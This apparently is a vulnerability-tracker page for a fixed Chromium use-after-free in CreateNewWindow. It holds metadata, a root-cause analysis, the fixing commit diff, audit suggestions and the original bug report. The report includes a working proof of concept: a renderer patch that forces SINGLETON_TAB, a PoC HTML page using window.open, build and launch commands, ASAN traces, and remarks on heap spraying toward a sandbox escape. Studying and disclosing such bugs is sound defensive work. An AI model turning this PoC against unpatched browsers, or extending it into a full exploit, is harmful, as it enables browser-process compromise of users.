High watch CVSS 7.5 chrome UAF 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
7.5
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in WindowDialog
DescriptionUse after free in WindowDialog
ComponentWindowDialog
Bug ClassUAF
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker487338366
Fix commit3c20517b961d (chromium/src) +32/-21
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditedc6eed09fc8b174b0f3eebedcceb1e792
Reported2026-02-25 (per vendor advisory)
Fix landed2026-02-26 (public git)
Disclosed2026-03-10
Patch gap12 days — fix public in source before the advisory

Background

`CreateNewWindow()`
the browser-side handler in render_frame_host_impl.cc for a renderer’s request to open a new window; it calls delegate_->CreateNewWindow(...) to build a new WebContents and later answers the renderer through callback with mojom::CreateNewWindowStatus::kSuccess and a reply.
`ShowCreatedWindow()`
the delegate call that shows the just-created window and returns a WebContents*; the commit message says it can return a different, pre-existing WebContents (a reused tab) and let the newly created one be destroyed.
`new_frame_tree` / `new_main_rfh` / `new_rwh`
non-owning raw pointers to the new window’s FrameTree, main RenderFrameHostImpl and RenderWidgetHost; all of them are freed when the new WebContents is destroyed.
`reply` geometry fields
widget_screen_rect, window_screen_rect and visual_properties in the reply, which can only be filled in after ShowCreatedWindow().

Root Cause Analysis

The hunk headers do not name the enclosing function. The commit subject (“Fix CreateNewWindow()”), the delegate_->CreateNewWindow(this, ...) call and the mojom::CreateNewWindowStatus::kSuccess callback identify it as RenderFrameHostImpl’s CreateNewWindow() handler. Before the patch, the code assumed new_frame_tree, new_main_rfh and new_rwh had been freed only if ShowCreatedWindow() returned nullptr. On a non-null return it called new_main_rfh->GetView(), GetViewBounds(), GetBoundsInRootWindow() and new_rwh->GetVisualProperties() to fill in the reply’s geometry. As the commit message explains, ShowCreatedWindow() can instead return a different pre-existing WebContents and let the just-created one expire together with its frame tree node, widget host and frame host. In that case those dereferences read freed memory in the browser process.

The fix reads routing_id from new_rwh before the call and nulls all three raw pointers before calling ShowCreatedWindow(). It then fills the reply only through the returned shown_contents, walking GetPrimaryMainFrame(), GetLocalRenderWidgetHost() and GetView() with a null check at each step.

Key insight
The code treated “ShowCreatedWindow() returned non-null” as proof that its cached pointers to the newly created window were still alive, but the returned WebContents can be a different, reused tab. The fix drops every cached pointer before the call and gets the frame, widget and view only from the WebContents that was actually returned.

Attack Path

  1. Request a new window a renderer asks to open a new window (for example through window.open), which reaches CreateNewWindow() in the browser and creates a new WebContents through delegate_->CreateNewWindow(...) (inferred: the JS entry point is not shown in the diff).
  2. Hit the tab-reuse case the request is handled such that ShowCreatedWindow() returns a different, pre-existing WebContents and the just-created WebContents, frame tree, frame host and widget host are destroyed. The commit says this happens “under certain circumstances” and does not say which.
  3. Use the stale pointers pre-patch, because shown_contents was non-null, the code took the else if (new_main_rfh->GetView()) branch and called methods on the freed new_main_rfh and new_rwh to build the reply.
  4. Corrupt browser memory the use-after-free happens in the privileged browser process, and turning it into memory corruption or a sandbox escape is (inferred).

Impact Assessment

This is a use-after-free in the browser process, rated high severity by the vendor. The trigger is a window-creation request from a renderer, which ordinary web content can issue through window.open (typically subject to popup or user-activation rules). It is also gated on the embedder’s ShowCreatedWindow() returning a reused pre-existing tab rather than the new one, and the diff does not show the conditions or platforms where that happens. Because the freed objects belong to the browser process, a successful exploit could contribute to escaping the renderer sandbox (inferred), and the advisory text supplied here does not report in-the-wild exploitation.

Changed Functions

FunctionChangeNotes
if
content/browser/renderer_host/render_frame_host_impl.cc
modified

Files Changed

  • content/browser/renderer_host/render_frame_host_impl.cc

Audit Directions

  • Raw pointers held across delegate calls
    in content/browser, look for FrameTree*, RenderFrameHostImpl* or RenderWidgetHost* locals that are used after a WebContentsDelegate/embedder callback, which can destroy or swap the WebContents (show, add-new-contents and navigation-from-popup paths).
  • Return value used as a liveness proxy
    find code that infers that other objects are still alive from a non-null return value; check whether the callee can return an object different from the one the caller created, as the reused tab here.
  • Embedder tab-reuse and disposition handling
    review ShowCreatedWindow/AddNewContents implementations in chrome/ and other embedders for paths that drop the new WebContents while callers still hold pointers into it.
From 3c20517b961d59dea34098ef7e9fd4ca955eb081 Mon Sep 17 00:00:00 2001
From: Stefan Zager <szager@chromium.org>
Date: Thu, 26 Feb 2026 11:02:46 -0800
Subject: [PATCH] Fix CreateNewWindow() to correctly handle a reused tab

Under normal circumstances, a non-null return value from
`ShowCreatedWindow()` will return the WebContents that was created by
the earlier call to `CreateNewWindow()`. However, under certain
circumstances `ShowCreatedWindow()` will return a different pre-existing
WebContents and allow the just-created WebContents to expire, along with
its frame tree node, widget host, and frame host.

This CL ensures that the code doesn't rely on any of the newly-created
objects after the call to `ShowCreatedWindow()`, and instead uses the
normal accessors on WebContents to retrieve them.

Bug: 487338366
Change-Id: I84a5c5cf7f395d708baf71c6a43b39e4099f61ad
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7610581
Reviewed-by: Charlie Reis <creis@chromium.org>
Commit-Queue: Stefan Zager <szager@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1590960}
---

diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
index f4c26a1..2513348 100644
--- a/content/browser/renderer_host/render_frame_host_impl.cc
+++ b/content/browser/renderer_host/render_frame_host_impl.cc
@@ -10085,8 +10085,8 @@
 
   DCHECK(IsRenderFrameLive());
 
-  // The non-owning pointer |new_frame_tree| is valid in this stack frame since
-  // nothing can delete it until this thread is freed up again.
+  // The non-owning pointer |new_frame_tree| is valid in this stack frame at
+  // least until the call to ShowCreatedWindow() below.
   FrameTree* new_frame_tree =
       delegate_->CreateNewWindow(this, *params, is_new_browsing_instance,
                                  was_consumed, cloned_namespace.get());
@@ -10145,11 +10145,11 @@
   bool wait_for_debugger =
       devtools_instrumentation::ShouldWaitForDebuggerInWindowOpen();
 
-  // NOTE: if the call to ShowCreatedWindow() below returns nullptr, then
+  // NOTE: after the call to ShowCreatedWindow() below it's possible that
   // new_frame_tree, new_main_rfh, and new_main_rwh will all have been destroyed
-  // and point to freed memory! To preserve legacy behavior, we still need to
-  // send a fully-populated reply along with kSuccess, so we construct the reply
-  // here prior to ShowCreatedWindow().
+  // and point to freed memory! We still need to send a fully-populated reply
+  // along with kSuccess, so we construct the reply here prior to
+  // ShowCreatedWindow().
 
   blink::VisualProperties visual_properties;
   // If we can't get an accurate set of VisualProperties after ShowCreatedWindow
@@ -10169,24 +10169,35 @@
 
   new_main_rfh->render_view_host()->RenderViewCreated(new_main_rfh);
 
-  // ShowCreatedWindow will return nullptr if the new WebContents has been
-  // destroyed, as described above (see NOTE).
+  int routing_id = new_rwh->GetRoutingID();
+
+  // These can point to freed memory after the call to ShowCreatedWindow(), even
+  // if that method returns non-null. Null them out here to prevent inadvertent
+  // UAF in the future.
+  new_frame_tree = nullptr;
+  new_main_rfh = nullptr;
+  new_rwh = nullptr;
+
   WebContents* shown_contents = delegate()->ShowCreatedWindow(
-      this, new_rwh->GetRoutingID(), params->disposition, *params->features,
+      this, routing_id, params->disposition, *params->features,
       params->consumes_user_activation);
 
-  if (!shown_contents) {
-    // These point to freed memory, so null them out to prevent inadvertent
-    // UAF in the future (see NOTE above).
-    new_frame_tree = nullptr;
-    new_main_rfh = nullptr;
-    new_rwh = nullptr;
-  } else if (new_main_rfh->GetView()) {
-    // Cannot populate window geometry until after ShowCreatedWindow().
-    reply->widget_screen_rect.emplace(new_main_rfh->GetView()->GetViewBounds());
-    reply->window_screen_rect.emplace(
-        new_main_rfh->GetView()->GetBoundsInRootWindow());
-    reply->visual_properties = new_rwh->GetVisualProperties();
+  // Cannot populate window geometry until after ShowCreatedWindow().
+  if (shown_contents) {
+    if (auto* shown_rfh = shown_contents->GetPrimaryMainFrame()) {
+      if (auto* shown_rwh = static_cast<RenderFrameHostImpl*>(shown_rfh)
+                                ->GetLocalRenderWidgetHost()) {
+        if (auto* shown_rwhv = shown_rwh->GetView()) {
+          reply->widget_screen_rect.emplace(shown_rwhv->GetViewBounds());
+          reply->window_screen_rect.emplace(
+              static_cast<RenderWidgetHostViewBase*>(shown_rwhv)
+                  ->GetBoundsInRootWindow());
+          reply->visual_properties =
+              static_cast<RenderWidgetHostImpl*>(shown_rwh)
+                  ->GetVisualProperties();
+        }
+      }
+    }
   }
 
   std::move(callback).Run(mojom::CreateNewWindowStatus::kSuccess,
Loading diff…

Original Bug Report

reported by je...@gmail.com

Use-after-free in CreateNewWindow via SINGLETON_TAB disposition leads to sandbox escape

Use-after-free in CreateNewWindow via SINGLETON_TAB disposition leads to sandbox escape

Summary

A use-after-free vulnerability exists in RenderFrameHostImpl::CreateNewWindow() in the Chromium browser process. When a compromised renderer sends a CreateNewWindow IPC with the SINGLETON_TAB disposition and a target URL that matches an existing tab, the browser process creates a new WebContents object but then synchronously destroys it in Navigate() while still returning a non-null pointer. The caller subsequently dereferences the freed RenderFrameHostImpl and RenderWidgetHostImpl objects, producing a use-after-free on the browser process UI thread. Because the dangling pointers are local auto* variables rather than raw_ptr<T> fields, MiraclePtr does not protect them, and the crash is confirmed exploitable by ASAN. A compromised renderer can leverage this to escape the sandbox and achieve code execution in the browser process.

Bisect

Introducing Commit: 6f6e57cb3244ac478d5bef46cf60b81f984e83a0

This commit combined the previously separate CreateNewWindow (sync) and ShowCreatedWindow (async) renderer-to-browser IPCs into a single synchronous IPC. The inline call to ShowCreatedWindow() within CreateNewWindow() introduced the assumption that a non-null return from ShowCreatedWindow guarantees the newly created objects are still alive. The feature flag kCombineNewWindowIPCs guarding this code was later removed in commit b02f846752ba3b0e574aee9bb23bab4cb71e202a (2026-02-09, same author, review https://chromium-review.googlesource.com/c/chromium/src/+/7560632), making the vulnerable path unconditional.

Root Cause

When a renderer process calls window.open(), it sends a synchronous content.mojom.FrameHost.CreateNewWindow IPC to the browser process. The handler in RenderFrameHostImpl::CreateNewWindow() delegates to WebContentsImpl::CreateNewWindow() to allocate a new WebContents with its associated FrameTree, RenderFrameHostImpl, and RenderWidgetHostImpl. It then captures raw pointers to these objects:

// content/browser/renderer_host/render_frame_host_impl.cc
RenderFrameHostImpl* new_main_rfh =
    new_frame_tree->root()->current_frame_host();
// ...
auto* new_rwh = new_main_rfh->GetLocalRenderWidgetHost();

After constructing the reply message with initial values from these pointers, the code calls ShowCreatedWindow() to hand the new WebContents to the browser UI layer. There is a comment (labeled NOTE) acknowledging that ShowCreatedWindow may return nullptr if the new WebContents is destroyed during this call, and in that case the dangling pointers are nulled out:

// content/browser/renderer_host/render_frame_host_impl.cc
WebContents* shown_contents = delegate()->ShowCreatedWindow(
    this, new_rwh->GetRoutingID(), params->disposition, *params->features,
    params->consumes_user_activation);

if (!shown_contents) {
    // These point to freed memory, so null them out to prevent inadvertent
    // UAF in the future (see NOTE above).
    new_frame_tree = nullptr;
    new_main_rfh = nullptr;
    new_rwh = nullptr;
} else if (new_main_rfh->GetView()) {
    // Cannot populate window geometry until after ShowCreatedWindow().
    reply->widget_screen_rect.emplace(new_main_rfh->GetView()->GetViewBounds());
    reply->window_screen_rect.emplace(
        new_main_rfh->GetView()->GetBoundsInRootWindow());
    reply->visual_properties = new_rwh->GetVisualProperties();
}

The vulnerability lies in the else if branch. The code assumes that a non-null shown_contents means the newly created WebContents is still alive and new_main_rfh/new_rwh are valid. However, ShowCreatedWindow can return a non-null pointer to a completely different, pre-existing WebContents while the newly created one has already been destroyed.

The destruction path flows through ShowCreatedWindow into the Chrome browser UI layer. WebContentsImpl::ShowCreatedWindow() calls delegate->AddNewContents(), which resolves to Browser::AddNewContents(), then chrome::AddWebContents(). This function constructs a NavigateParams structure with the new WebContents as contents_to_insert and the renderer-supplied disposition, then calls Navigate():

// chrome/browser/ui/browser_tabstrip.cc
NavigateParams params(browser, std::move(new_contents));
params.source_contents = source_contents;
params.url = target_url;
params.disposition = disposition;
// ...
Navigate(&params);
return params.navigated_or_inserted_contents;

Inside Navigate(), the function initializes singleton_index to -1 and then calls GetBrowserAndTabForDisposition() to determine where the navigation should go. For the SINGLETON_TAB disposition, this function calls GetIndexOfExistingTab(), which searches the browser’s tab strip for a tab whose URL matches the navigation target. If a match is found, the function returns that tab’s index:

// chrome/browser/ui/browser_navigator.cc
case WindowOpenDisposition::SINGLETON_TAB: {
    if (params.browser) {
        int index = GetIndexOfExistingTab(params.browser, params);
        if (index >= 0) {
            return {params.browser, index};
        }
    }
    // ...
}

When singleton_index is non-negative, Navigate() sets contents_to_navigate_or_insert to the existing tab’s WebContents. Critically, the code that adds the new WebContents to the tab strip is gated on singleton_index == -1:

// chrome/browser/ui/browser_navigator.cc
std::unique_ptr<tabs::TabModel> tab_to_insert;
if (params->contents_to_insert) {
    tab_to_insert = std::make_unique<tabs::TabModel>(
        std::move(params->contents_to_insert),
        params->browser->GetBrowserForMigrationOnly()->tab_strip_model());
    // ...
}
// ...
if (singleton_index != -1) {
    contents_to_navigate_or_insert =
        params->browser->GetBrowserForMigrationOnly()
            ->tab_strip_model()
            ->GetWebContentsAt(singleton_index);
}
// ...
} else if (singleton_index == -1) {
    // ...
    params->browser->GetBrowserForMigrationOnly()->tab_strip_model()->AddTab(
        std::move(tab_to_insert), ...);
}
// tab_to_insert goes out of scope here and is destroyed if not moved

When singleton_index >= 0, the AddTab call is skipped. The tab_to_insert unique_ptr, which now owns the newly created WebContents, is never moved into the tab strip. When Navigate() returns, tab_to_insert goes out of scope, triggering TabModel::~TabModel() which destroys the WebContents and all its children, including the RenderFrameHostImpl that new_main_rfh points to. Meanwhile, Navigate() sets navigated_or_inserted_contents to the pre-existing tab’s WebContents, and this non-null pointer propagates all the way back through AddWebContents and ShowCreatedWindow to CreateNewWindow.

Back in CreateNewWindow, shown_contents is non-null (pointing to the existing tab), so the code enters the else if branch and dereferences new_main_rfh->GetView(), which accesses freed heap memory. The freed RenderFrameHostImpl is a 5656-byte object that can be replaced with attacker-controlled data via heap spraying, giving the attacker control over the vtable pointer and enabling arbitrary code execution in the browser process.

The affected pointers new_main_rfh and new_rwh are local auto* variables on the stack, not raw_ptr<T> fields. As confirmed by ASAN’s output (“MiraclePtr Status: NOT PROTECTED”), MiraclePtr cannot mitigate this vulnerability.

A compromised renderer can trigger this by setting the disposition field in the CreateNewWindowParams Mojo message to WindowOpenDisposition::SINGLETON_TAB (value 12) and the target_url to a URL that already has an open tab in the browser. This is fully within the capabilities of a compromised renderer since the disposition is just an enum field in the IPC message with no browser-side validation restricting it to specific values. Similarly, an installed PWA with launch_handler.client_mode set to navigate-existing can produce the same effect through the navigation capturing path, where NavigationCapturingProcess::CapturedNavigateExisting() sets singleton_index to a valid tab index.

Reproduce

The proof of concept consists of two components: (1) a renderer patch that overrides the window open disposition to SINGLETON_TAB (simulating a compromised renderer), and (2) a single HTML page that triggers the UAF.

1. Apply renderer patch

Apply the following patch to content/renderer/render_frame_impl.cc:

--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -6792,6 +6792,12 @@
   params->frame_name = frame_name_utf8;
   params->opener_suppressed = features.noopener;
   params->disposition = NavigationPolicyToDisposition(policy);
+  // PoC: compromised renderer forces SINGLETON_TAB disposition
+  if (params->disposition == WindowOpenDisposition::NEW_FOREGROUND_TAB ||
+      params->disposition == WindowOpenDisposition::NEW_BACKGROUND_TAB) {
+    params->disposition = WindowOpenDisposition::SINGLETON_TAB;
+  }
   if (!request.IsNull()) {
     params->target_url = request.Url();

Rebuild:

autoninja -C out/asan-release chrome

2. Start HTTP server

In the directory containing poc_createwindow_singleton_uaf.html:

python3 -m http.server 8888

3. Launch Chrome and visit PoC URL

ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome \
  --no-sandbox --disable-gpu \
  --user-data-dir=/tmp/poc-singleton-uaf \
  http://localhost:8888/poc_createwindow_singleton_uaf.html

The page automatically opens a duplicate tab (#dup), then the duplicate fires window.open() back to the original URL. With the SINGLETON_TAB disposition override, the browser finds the existing tab (singleton_index >= 0), destroys the newly created WebContents, and returns the existing one as non-null. CreateNewWindow then dereferences the freed new_main_rfh, triggering the ASAN heap-use-after-free.

PoC HTML (poc_createwindow_singleton_uaf.html)

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>PoC</title></head>
<body>
<script>
if (!location.hash) {
  // First load: open a duplicate of ourselves, marked with #dup
  window.open(location.href + '#dup', '_blank');
} else {
  // We are the duplicate (#dup). After a delay, fire window.open() back to
  // the original URL (without hash) to trigger singleton matching -> UAF.
  setTimeout(function() {
    var target = location.href.replace('#dup', '');
    for (var i = 0; i < 5; i++) {
      setTimeout(function() { window.open(target, '_blank'); }, i * 300);
    }
  }, 2000);
}
</script>
</body></html>

ASAN output:

=================================================================
==1757573==ERROR: AddressSanitizer: heap-use-after-free on address 0x7dd4f3337900 at pc 0x7fb565b4f261 bp 0x7ffc94dffb70 sp 0x7ffc94dffb68
READ of size 8 at 0x7dd4f3337900 thread T0 (chrome)
    #0 0x7fb565b4f260 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10181:28
    #1 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
    #2 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
    #3 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
    #4 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #5 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
    #6 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #7 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #8 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #9 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #10 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
    #11 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
    #12 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

0x7dd4f3337900 is located 0 bytes inside of 5656-byte region [0x7dd4f3337900,0x7dd4f3338f18)
freed by thread T0 (chrome) here:
    #0 0x556a70db840d in operator delete(void*) (/home/test/chromium/src/out/asan-release/chrome+0x682b40d) (BuildId: 9182ae9d429f4c1b)
    #1 0x7fb565c1e873 in content::RenderFrameHostManager::~RenderFrameHostManager() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #2 0x7fb5657c73d2 in content::FrameTreeNode::~FrameTreeNode() content/browser/renderer_host/frame_tree_node.cc:312:1
    #3 0x7fb5657af6b9 in content::FrameTree::~FrameTree() content/browser/renderer_host/frame_tree.cc:230:1
    #4 0x7fb5663660d1 in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:1496:1
    #5 0x7fb566368e6d in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:1376:37
    #6 0x556a75df5586 in tabs::TabModel::~TabModel() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #7 0x556a7d296aa5 in Navigate(NavigateParams*) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
    #8 0x556a7d2a670f in chrome::AddWebContents(Browser*, content::WebContents*, std::__Cr::unique_ptr<content::WebContents, std::__Cr::default_delete<content::WebContents>>, GURL const&, WindowOpenDisposition, blink::mojom::WindowFeatures const&, NavigateParams::WindowAction, bool) chrome/browser/ui/browser_tabstrip.cc:109:3
    #9 0x556a7d213ccd in Browser::AddNewContents(content::WebContents*, std::__Cr::unique_ptr<content::WebContents, std::__Cr::default_delete<content::WebContents>>, GURL const&, WindowOpenDisposition, blink::mojom::WindowFeatures const&, bool, bool*) chrome/browser/ui/browser.cc:2117:10
    #10 0x556a7d213e67 in non-virtual thunk to Browser::AddNewContents(...) chrome/browser/ui/browser.cc
    #11 0x7fb5663aeda1 in content::WebContentsImpl::ShowCreatedWindow(content::RenderFrameHostImpl*, int, WindowOpenDisposition, blink::mojom::WindowFeatures const&, bool) content/browser/web_contents/web_contents_impl.cc:5694:20
    #12 0x7fb565b4de98 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10168:45
    #13 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
    #14 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
    #15 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
    #16 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #17 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
    #18 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #19 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #20 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #21 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #22 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
    #23 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
    #24 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

previously allocated by thread T0 (chrome) here:
    #0 0x556a70db7bcd in operator new(unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x682abcd) (BuildId: 9182ae9d429f4c1b)
    #1 0x7fb565ade0d6 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, mojo::PendingAssociatedRemote<content::mojom::Frame>, base::TokenType<blink::LocalFrameTokenTypeMarker> const&, base::TokenType<blink::DocumentTokenTypeMarker> const&, base::UnguessableToken, bool, content::RenderFrameHostImpl::LifecycleStateImpl, scoped_refptr<content::BrowsingContextState>) content/public/browser/render_frame_host.h:148:3
    #2 0x7fb565c21543 in content::RenderFrameHostManager::CreateRenderFrameHost(content::RenderFrameHostManager::CreateFrameCase, content::SiteInstanceImpl*, int, mojo::PendingAssociatedRemote<content::mojom::Frame>, base::TokenType<blink::LocalFrameTokenTypeMarker> const&, base::TokenType<blink::DocumentTokenTypeMarker> const&, base::UnguessableToken, bool, scoped_refptr<content::BrowsingContextState>, content::ProcessAllocationContext const&) content/browser/renderer_host/render_frame_host_manager.cc:4279:10
    #3 0x7fb565c20426 in content::RenderFrameHostManager::InitRoot(content::SiteInstanceImpl*, bool, blink::FramePolicy, std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, base::UnguessableToken const&) content/browser/renderer_host/render_frame_host_manager.cc:717:22
    #4 0x7fb5657b8687 in content::FrameTree::Init(content::SiteInstanceImpl*, bool, std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::RenderFrameHostImpl*, blink::FramePolicy const&, base::UnguessableToken const&) content/browser/renderer_host/frame_tree.cc:963:27
    #5 0x7fb566395f8b in content::WebContentsImpl::Init(content::WebContents::CreateParams const&, blink::FramePolicy) content/browser/web_contents/web_contents_impl.cc:4178:23
    #6 0x7fb566359ae1 in content::WebContentsImpl::CreateWithOpener(content::WebContents::CreateParams const&, content::RenderFrameHostImpl*) content/browser/web_contents/web_contents_impl.cc:1577:17
    #7 0x7fb5663aa709 in content::WebContentsImpl::CreateNewWindow(content::RenderFrameHostImpl*, content::mojom::CreateNewWindowParams const&, bool, bool, content::SessionStorageNamespace*) content/browser/web_contents/web_contents_impl.cc:786:10
    #8 0x7fb565b4ce3a in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10083:18
    #9 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
    #10 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
    #11 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
    #12 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
    #13 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
    #14 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #15 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #16 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #17 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
    #18 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
    #19 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
    #20 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)

SUMMARY: AddressSanitizer: heap-use-after-free content/browser/renderer_host/render_frame_host_impl.cc:10181:28 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>)
Shadow bytes around the buggy address:
  0x7dd4f3337680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7dd4f3337880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
=>0x7dd4f3337900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x7dd4f3337980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
